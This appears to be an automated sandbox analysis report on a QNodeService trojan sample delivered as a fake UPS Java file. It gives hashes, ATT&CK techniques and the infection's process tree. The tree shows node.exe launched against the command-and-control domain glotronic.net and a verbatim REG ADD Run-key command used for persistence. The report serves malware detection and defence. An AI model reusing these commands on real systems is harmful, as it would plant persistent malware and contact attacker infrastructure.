qnodeservice | c882fc449cd0ca0348938fec76bd0200a3aeadb6d874728b5f15ade967c72c17

General

Target

UPS_AD12300AW_1290499D.jar
Size

77KB
MD5

53c0c382644adebe67a8af12d50cd35e
SHA1

8850f62e32c9f89bd4dc4ae419ef51b4b3009207
SHA256

c882fc449cd0ca0348938fec76bd0200a3aeadb6d874728b5f15ade967c72c17
SHA512

57f9c30622c671348dd683a423ed5c69cee8d61873c1b14c3207641a990fd8712198feb5204d940b7c52c11586d9af60cc066e1af5a133c7f4dcbc0a10198aa4

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2060	node.exe
2280	node.exe
3816	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\9a180dc4-014b-4a3a-a701-7b5807b295cc = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab75-172.dat	js
behavioral2/files/0x000100000001ab75-177.dat	js
behavioral2/files/0x000100000001ab75-181.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	wtfismyip.com
25	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2060	node.exe
2060	node.exe
2060	node.exe
2060	node.exe
2280	node.exe
2280	node.exe
2280	node.exe
2280	node.exe
3816	node.exe
3816	node.exe
3816	node.exe
3816	node.exe
3816	node.exe
3816	node.exe
3816	node.exe
3816	node.exe
3816	node.exe
3816	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 488 wrote to memory of 2804	488	java.exe	75
PID 488 wrote to memory of 2804	488	java.exe	75
PID 2804 wrote to memory of 2060	2804	javaw.exe	76
PID 2804 wrote to memory of 2060	2804	javaw.exe	76
PID 2060 wrote to memory of 2280	2060	node.exe	78
PID 2060 wrote to memory of 2280	2060	node.exe	78
PID 2280 wrote to memory of 3816	2280	node.exe	79
PID 2280 wrote to memory of 3816	2280	node.exe	79
PID 3816 wrote to memory of 2720	3816	node.exe	81
PID 3816 wrote to memory of 2720	3816	node.exe	81
PID 2720 wrote to memory of 2868	2720	cmd.exe	82
PID 2720 wrote to memory of 2868	2720	cmd.exe	82

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\UPS_AD12300AW_1290499D.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:488
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\5fc8bb84.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain glotronic.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2060
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_YFFinm\boot.js --hub-domain glotronic.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2280
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_YFFinm\boot.js --hub-domain glotronic.net
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3816
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "9a180dc4-014b-4a3a-a701-7b5807b295cc" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2720
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "9a180dc4-014b-4a3a-a701-7b5807b295cc" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2868

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2060-175-0x00000182FF3C0000-0x00000182FF3C1000-memory.dmp

Filesize
4KB

Download
memory/2280-178-0x00000102B7980000-0x00000102B7981000-memory.dmp

Filesize
4KB

Download
memory/3816-182-0x000000AA9D300000-0x000000AA9D301000-memory.dmp

Filesize
4KB

Download

Analysis

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